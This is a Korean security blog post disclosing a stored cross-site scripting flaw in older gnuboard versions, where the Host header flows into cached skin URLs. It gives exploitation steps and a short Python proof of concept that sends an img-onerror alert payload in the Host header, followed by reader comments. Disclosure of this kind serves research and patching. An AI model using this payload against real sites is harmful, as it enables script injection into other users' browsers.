2017년 11월 21일 화요일

gnuboard stored xss

예전에 포스팅 했던 취약점인데, 취약점이 워낙 재밌게 터지고 파급력 또한 좋은거 같아서 이 쪽 블로그에 옮겨봅니다.

--


일단 index.php소스를 봐줍니다 



latest 함수로  echo를 시켜 주는걸 볼수가 있는데 평소에는 아 여기서 취약점이 터지겠어 라는 생각으로 넘겼지만 돈이 급하고 취약점이 급하다 보니 걍 구조를 보게 되었습니다. 



함수를 보시게 되면 캐시 파일이 존재 하면 그걸 include 시키고 존재 하지 않는다면 캐시 파일을 생성한후 그걸 include를 시켜줍니다.
이때 캐시 파일을 쓸때 $latest_skin_url 변수의 값을 넣어주게 되는데 latest_skin_url 변수는 G5_SKIN_URL 이 값이 담기게 됩니다 
G5_SKIN_URL 값은 common.php파일의 g5_path() 함수에의해 host헤더 값이 담기게 됩니다.

익플 방법은 일단 캐시를 초기화 시켜주기 위해 게시글을 하나 쓴뒤, 그 다음 index.php로 host에  "><img src=1 onerror="alert('XSS');">하시면 됩니다 






PoC : 
import requests
from urllib import quote

header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}

url = "site_url"

r = requests.get(url, headers=header)
print r.text




댓글 6개:

  1. 작성자가 댓글을 삭제했습니다.

    답글삭제
  2. $host = preg_replace("/[\<\>\'\"\\\'\\\"\%\=\(\)\/\^\*]/", '', $host);
    $result['url'] = $http.$host.$port.$user.$root;
    host 값이 replace되면서 xss 취약점이 존재하나요 ?

    답글삭제
    답글
    1. 아니요 그건 패치된거구요 최신버전에서 터지는 취약점이 아니라 오래된 버전에서 터지는 거예요

      삭제
  3. 작성자가 댓글을 삭제했습니다.

    답글삭제
  4. 안녕하세요~! 지나가다가 블로그 보게됬는데 정말 유익한 정보가 많네요 저.. 혹시 궁금한 점이 있는데 질문하나해도 될까요??

    게시물이 파라미터값이 idx값으로 되어있습니다.

    1. ooooooo == idx=1
    2. ooooooo == idx=2
    3. ooooooo == idx=3
    4. ooooooo == idx=4

    이렇게 되있는데 request를 idx=5 보내서 새로운 게시물이 올라오는지 크롤링 하려구 하는데 해킹 시도인가요??? 없는 페이지를 수시로 request 보내니까요.. 궁금합니다.

    코딩할려구하다가 갑자기 무서워져서.. 일단 보류하고있습니다 ㅠㅠ 이렇게 덧글로 질문 질문남겨봅니다..!

    답글삭제
    답글
    1. 저도 법에 대해서는 잘 모르는데 , 만약 권한이 없는데 글을 크롤링 해올수 있으면 해킹이고 아니라면 해킹이 아닐거 같네요 ..

      삭제